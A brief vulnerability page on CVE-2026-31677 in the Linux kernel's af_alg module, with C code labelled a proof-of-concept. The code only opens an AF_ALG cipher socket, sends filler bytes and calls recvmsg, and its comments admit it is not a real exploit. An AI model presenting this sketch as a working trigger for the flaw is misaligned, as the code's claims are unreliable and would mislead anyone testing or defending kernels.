CVE-2026-31677 Linux内核af_alg模块资源管理漏洞

/* * PoC Concept for CVE-2026-31677 * This code demonstrates how to interact with AF_ALG to potentially trigger the buffer logic. * Requires root or appropriate privileges to execute. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_alg.h> #define AF_ALG 38 int main() { int tfm_fd, sock_fd; struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "skcipher", .salg_name = "cbc(aes)" }; char buf[32]; struct iovec iov; struct msghdr msg; // 1. Create algorithm socket tfm_fd = socket(AF_ALG, SOCK_SEQPACKET, 0); if (tfm_fd < 0) { perror("socket"); return 1; } // 2. Bind to specific cipher if (bind(tfm_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); close(tfm_fd); return 1; } // 3. Accept connection sock_fd = accept(tfm_fd, NULL, 0); if (sock_fd < 0) { perror("accept"); close(tfm_fd); return 1; } // 4. Send data to fill/trigger buffer logic // In a real exploit, specific sizes would be used to hit the budget check. memset(buf, 'A', sizeof(buf)); if (send(sock_fd, buf, sizeof(buf), 0) < 0) { perror("send"); } // 5. Attempt recvmsg to trigger the bug condition memset(&msg, 0, sizeof(msg)); iov.iov_base = buf; iov.iov_len = sizeof(buf); msg.msg_iov = &iov; msg.msg_iovlen = 1; // This might trigger the rejection logic if buffer conditions are met recvmsg(sock_fd, &msg, 0); close(sock_fd); close(tfm_fd); printf("PoC execution completed.\n"); return 0; }